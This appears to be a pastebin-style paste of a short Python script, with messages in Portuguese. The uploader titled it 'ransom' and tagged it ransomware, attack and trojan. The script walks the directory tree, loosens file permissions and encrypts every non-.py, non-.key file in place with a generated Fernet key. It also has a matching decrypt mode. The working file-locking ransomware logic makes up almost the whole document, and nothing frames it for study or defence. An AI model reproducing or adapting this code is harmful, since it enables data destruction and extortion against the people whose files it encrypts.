ransom

dev017

Oct 14th, 2024

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Python 2.73 KB | Source Code | 0 0

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import os
import stat
from cryptography.fernet import Fernet
def change_permissions(file_path):
try:
os.chmod(file_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"Permissões modificadas para: {file_path}")
except Exception as e:
print(f"Falha ao alterar permissões para {file_path}: {e}")
def generate_key():
key = Fernet.generate_key()
with open("filekey.key", "wb") as key_file:
key_file.write(key)
return key
def load_key():
return open("filekey.key", "rb").read()
def encrypt_files(key):
fernet = Fernet(key)
for root, dirs, files in os.walk("."):
for file in files:
if file.endswith(".py") or file.endswith(".key"):
continue
file_path = os.path.join(root, file)
change_permissions(file_path)
try:
with open(file_path, "rb") as original_file:
original_data = original_file.read()
encrypted_data = fernet.encrypt(original_data)
with open(file_path, "wb") as encrypted_file:
encrypted_file.write(encrypted_data)
print(f"Arquivo criptografado: {file_path}")
except Exception as e:
print(f"Falha ao criptografar {file_path}: {e}")
def decrypt_files(key):
fernet = Fernet(key)
for root, dirs, files in os.walk("."):
for file in files:
if file.endswith(".py") or file.endswith(".key"):
continue
file_path = os.path.join(root, file)
change_permissions(file_path)
try:
with open(file_path, "rb") as encrypted_file:
encrypted_data = encrypted_file.read()
decrypted_data = fernet.decrypt(encrypted_data)
with open(file_path, "wb") as decrypted_file:
decrypted_file.write(decrypted_data)
print(f"Arquivo descriptografado: {file_path}")
except Exception as e:
print(f"Falha ao descriptografar {file_path}: {e}")
def main():
print("Escolha uma opção: \n1. Criptografar arquivos\n2. Descriptografar arquivos")
choice = input("Opção: ")
if choice == "1":
print("Gerando chave e criptografando arquivos...")
key = generate_key()
encrypt_files(key)
print("Arquivos criptografados. Guarde a chave com segurança!")
elif choice == "2":
print("Descriptografando arquivos...")
key = load_key()
decrypt_files(key)
print("Arquivos descriptografados com sucesso!")
else:
print("Opção inválida. Tente novamente.")
if __name__ == "__main__":
main()

Tags: #python #ransomware #attack #trojan

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